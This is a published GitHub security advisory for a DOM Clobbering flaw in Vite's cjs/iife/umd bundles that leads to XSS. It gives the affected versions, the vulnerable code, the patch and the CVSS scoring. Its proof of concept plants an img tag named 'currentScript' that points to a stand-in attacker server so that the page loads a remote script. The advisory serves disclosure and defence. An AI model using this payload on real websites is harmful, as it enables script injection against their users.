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Vite DOM Clobbering gadget found in vite bundled scripts that leads to XSS

Moderate severity GitHub Reviewed Published Sep 17, 2024 in vitejs/vite • Updated Sep 19, 2024

Package

npm vite (npm)

Affected versions

>= 4.0.0, < 4.5.4
>= 5.4.0, < 5.4.6
>= 5.3.0, < 5.3.6
>= 5.2.0, < 5.2.14
< 3.2.11
>= 5.0.0, < 5.1.8

Patched versions

4.5.4
5.4.6
5.3.6
5.2.14
3.2.11
5.1.8

Description

Summary

We discovered a DOM Clobbering vulnerability in Vite when building scripts to cjs/iife/umd output format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

Note that, we have identified similar security issues in Webpack: GHSA-4vvj-4cpr-p986

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Vite

We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to cjs, iife, or umd. In such cases, Vite replaces relative paths starting with __VITE_ASSET__ using the URL retrieved from document.currentScript.

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

const relativeUrlMechanisms = {
  amd: (relativePath) => {
    if (relativePath[0] !== ".") relativePath = "./" + relativePath;
    return getResolveUrl(
      `require.toUrl('${escapeId(relativePath)}'), document.baseURI`
    );
  },
  cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath)})`,
  es: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url`
  ),
  iife: (relativePath) => getRelativeUrlFromDocument(relativePath),
  // NOTE: make sure rollup generate `module` params
  system: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url`
  ),
  umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath, true)})`
};

PoC

Considering a website that contains the following main.js script, the devloper decides to use the Vite to bundle up the program with the following configuration.

// main.js
import extraURL from './extra.js?url'
var s = document.createElement('script')
s.src = extraURL
document.head.append(s)

// extra.js
export default "https://myserver/justAnOther.js"

// vite.config.js
import { defineConfig } from 'vite'

export default defineConfig({
  build: {
    assetsInlineLimit: 0, // To avoid inline assets for PoC
    rollupOptions: {
      output: {
        format: "cjs"
      },
    },
  },
  base: "./",
});

After running the build command, the developer will get following bundle as the output.

// dist/index-DDmIg9VD.js
"use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);

Adding the Vite bundled script, dist/index-DDmIg9VD.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>Vite Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of cjs, iife, or umd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
  getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', ${
      umd ? `typeof document === 'undefined' ? location.href : ` : ''
    }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`,
  )

References

@patak-dev patak-dev published to vitejs/vite Sep 17, 2024
Published to the GitHub Advisory Database Sep 17, 2024
Reviewed Sep 17, 2024
Published by the National Vulnerability Database Sep 17, 2024
Last updated Sep 19, 2024

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction Active
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality Low
Integrity Low
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

EPSS score

0.045%
(16th percentile)

Weaknesses

CVE ID

CVE-2024-45812

GHSA ID

GHSA-64vr-g452-qvp3

Source code

Credits

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